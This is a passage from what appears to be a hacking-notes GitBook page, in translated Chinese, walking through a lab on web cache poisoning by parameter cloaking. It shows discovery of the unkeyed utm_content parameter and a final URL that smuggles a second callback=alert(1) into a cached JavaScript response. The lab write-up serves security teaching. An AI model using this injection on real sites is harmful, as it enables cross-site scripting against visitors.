> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/parameter-cloaking.md).

# 参数隐藏

### 参数隐藏

该实验室存在 **Web 缓存投毒** 因为某个特定参数被排除在缓存键之外。/ 此外，还有一个 **对参数解释的不一致** 在缓存系统和后端之间。/ 一位用户经常使用以下方式访问网站首页 **谷歌 Chrome**.

目标：/ 使用 **参数隐藏** 技术来执行 `alert(1)` 在受害者的浏览器中。

**初步观察**

请求中出现了以下 cookie：

```bash
Cookie: country=[object Object]
```

在服务器响应中，一个 **地理定位** 脚本被加载。/ 该脚本使用 cookie 值在客户端确定用户所在国家。

<figure><img src="/files/aab2e047ab957b8fbf8a3c30aa2641b4465ca4d6" alt=""><figcaption></figcaption></figure>

**易受攻击参数的识别**

使用 **Param Miner（猜测查询参数）**，我们检测到一种 **参数隐藏**.

<figure><img src="/files/9f9b625d4f77c1416f45b36631b044d8d190f928" alt=""><figcaption></figcaption></figure>

发现的参数是：

```bash
utm_content
```

<figure><img src="/files/573820c79f824b68c60e06f182a29917e6438d11" alt=""><figcaption></figcaption></figure>

如果你访问以下 URL：

```bash
/?utm_content=z9qc51
```

<figure><img src="/files/36debf3897f7d592ee91edc85e17e037da41bc99" alt=""><figcaption></figcaption></figure>

我们注意到：

* 参数值可以自由更改
* 缓存\*\*不会失效\*\*
* 对以下用户，响应保持不变

这证实了 `utm_content` 是 **被排除在缓存键之外**.

**通过 geolocate 脚本进行操作**

页面加载的脚本是：

```bash
/js/geolocate.js?callback=setCountryCookie
```

添加缓存忽略的参数：

```bash
/js/geolocate.js?callback=setCountryCookie=test?utm_content=z9111
```

观察到以下行为：

* 该 `测试` 值在响应中被反映出来
* 缓存保持不变

这表明后端对参数的解释与缓存不同。

<figure><img src="/files/ae73ef9ab287eed0a3ad176173d3a60dae8aef13" alt=""><figcaption></figcaption></figure>

**通过参数隐藏进行注入**

利用这种解析差异，通过注入一个 **第二个参数 callback** 被……掩盖 `utm_content`:

```bash
/js/geolocate.js?callback=setCountryCookie&utm_content=z9111;callback=alert(1)
```

结果：

* 缓存始终认为该请求相同

<figure><img src="/files/fed77e284d98c0a487f13ac30f32f96c475996a8" alt=""><figcaption></figcaption></figure>

后端将 `callback=alert(1)` 作为一个有效的新参数

生成的 JavaScript 运行 `alert(1)`

<figure><img src="/files/df86cb23ef08e0f6b6ffc90b4fbf8fd48ca40678" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/parameter-cloaking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
